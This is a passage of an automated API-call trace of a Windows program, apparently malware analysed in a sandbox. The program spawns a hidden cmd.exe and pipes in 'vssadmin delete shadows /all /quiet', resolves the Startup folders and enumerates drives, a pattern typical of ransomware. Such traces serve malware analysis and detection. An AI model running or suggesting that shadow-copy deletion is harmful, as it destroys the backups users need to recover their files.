RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2f00 [0190.465] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2f00, Size=0x20) returned 0x69dfd0 [0190.465] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2f00 [0190.465] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2f00, Size=0x20) returned 0x69dd50 [0190.465] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.465] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.466] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0190.466] lstrlenW (lpString="kernel32.dll") returned 12 [0190.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd50 | out: hHeap=0x660000) returned 1 [0190.466] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfd0 | out: hHeap=0x660000) returned 1 [0190.466] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x239d020 | out: hHeap=0x660000) returned 1 [0190.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a4d28 | out: hHeap=0x660000) returned 1 [0190.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4d30 | out: hHeap=0x660000) returned 1 [0190.469] lstrlenW (lpString="%windir%\\System32") returned 17 [0190.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677910 | out: hHeap=0x660000) returned 1 [0190.469] lstrlenW (lpString="%appdata%") returned 9 [0190.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69de40 | out: hHeap=0x660000) returned 1 [0190.469] lstrlenW (lpString="%sh(Startup)%") returned 13 [0190.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfa8 | out: hHeap=0x660000) returned 1 [0190.469] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0190.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677958 | out: hHeap=0x660000) returned 1 [0190.469] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2e40 [0190.469] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2e40, Size=0x20) returned 0x69dfa8 [0190.469] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfa8, Size=0x40) returned 0x677d48 [0190.469] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677d48, Size=0x80) returned 0x6c5800 [0190.469] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2db0 [0190.469] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2db0, Size=0x20) returned 0x69deb8 [0190.469] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1fffc) returned 0x6a4d28 [0190.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c5d40 [0190.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5d48 [0190.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2c78 [0190.470] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2c78, Size=0x20) returned 0x69dfa8 [0190.470] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfa8, Size=0x40) returned 0x677c28 [0190.470] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677c28, Size=0x80) returned 0x6c5c40 [0190.470] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5c40, Size=0x100) returned 0x6a3568 [0190.470] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3568 | out: hHeap=0x660000) returned 1 [0190.470] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6c5d40, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0190.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d48 | out: hHeap=0x660000) returned 1 [0190.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5d40 | out: hHeap=0x660000) returned 1 [0190.594] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0190.595] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0190.595] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0190.595] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0190.595] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xfbc, dwThreadId=0xfc0)) returned 1 [0190.611] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0190.611] WriteFile (in: hFile=0x24c, lpBuffer=0x6c5800*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6c5800*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0190.611] CloseHandle (hObject=0x25c) returned 1 [0190.611] CloseHandle (hObject=0x258) returned 1 [0190.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a4d28 | out: hHeap=0x660000) returned 1 [0190.611] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0190.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5800 | out: hHeap=0x660000) returned 1 [0190.612] lstrlenW (lpString="%comspec%") returned 9 [0190.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69deb8 | out: hHeap=0x660000) returned 1 [0190.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0190.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2f00 [0190.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6a2f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0190.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e220 [0190.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x69e220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0190.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2ea0 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2ea0, Size=0x20) returned 0x69dfa8 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfa8, Size=0x40) returned 0x6777f0 [0190.614] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0190.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x67aee8 [0190.614] GetLogicalDrives () returned 0x4 [0190.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10014) returned 0x6a4d28 [0190.614] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d20 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d20, Size=0x20) returned 0x69dfd0 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfd0, Size=0x40) returned 0x677910 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677910, Size=0x80) returned 0x6c5668 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5668, Size=0x100) returned 0x6a35f8 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a35f8, Size=0x200) returned 0x6a35f8 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a35f8, Size=0x400) returned 0x6b4d48 [0190.614] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b4d48, Size=0x800) returned 0x6b4d48 [0190.615] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b4d48, Size=0x1000) returned 0x6b4d48 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x6c5d40 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2e40 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2eb8 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69e170 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2c78 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69e1a0 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2dc8 [0190.615] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e1a0, Size=0x8) returned 0x69e110 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2df8 [0190.615] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69e110, Size=0x10) returned 0x6a2e10 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2d50 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2f18 [0190.615] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2e10, Size=0x20) returned 0x69dfa8 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2de0 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e1a0 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2d80 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2d20 [0190.615] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfa8, Size=0x40) returned 0x677718 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2db0 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2e10 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2e28 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6a2d38 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2e58 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2c48 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e040 [0190.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2ea0 [0190.616] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677718, Size=0x80) returned 0x6c4e70 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2d08 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2c60 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2ca8 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2cc0 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2f90 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2f78 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2f48 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e0b0 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2fd8 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2f30 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2fc0 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2ff0 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2fa8 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2f60 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b63f8 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6440 [0190.616] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c4e70, Size=0x100) returned 0x6a35f8 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6488 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6518 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6470 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b6410 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6398 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6530 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e110 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6380 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b63c8 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6458 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x69e200 [0190.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b63b0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64e8 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e0f0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64d0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64a0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6500 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b63e0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6428 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64b8 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b6038 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d98 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b5f60 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5fc0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e40 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f00 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ff0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e060 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d80 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f18 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e88 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5fa8 [0190.617] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a35f8, Size=0x200) returned 0x6a35f8 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ea0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e070 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ee8 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5db0 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f78 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f30 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f48 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e28 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6050 [0190.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f90 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5eb8 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5e10 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5ed0 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5fd8 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6008 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6020 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5dc8 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6068 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5de0 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5df8 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e58 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e70 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61d0 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e120 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6128 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6200 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6110 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e130 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6158 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b62c0 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60c8 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6140 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6248 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6080 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60f8 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6170 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6188 [0190.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b61e8 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61a0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61b8 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62d8 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6290 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6218 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6278 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62f0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6308 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6230 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6260 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6098 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e080 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x69e0d0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60b0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6320 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62a8 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6338 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6350 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6368 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60e0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6bb8 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6cc0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6c00 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6cf0 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6d38 [0190.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6c60 [0190.620] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a35f8, Size=0x400) returned 0x6b7160 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6c48 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6c90 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6c78 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6c18 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6be8 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6d08 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6cd8 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6c30 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6ba0 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6bd0 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e1b0 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6b88 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6ca8 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6d20 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6870 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6708 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b66f0 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b67e0 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6690 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6720 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6780 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b66d8 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6738 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67f8 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6588 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6630 [0190.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69e1c0 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6798 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65a0 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6660 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6840 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6750 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65b8 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65e8 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6678 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b66a8 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b6618 [0190.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6768 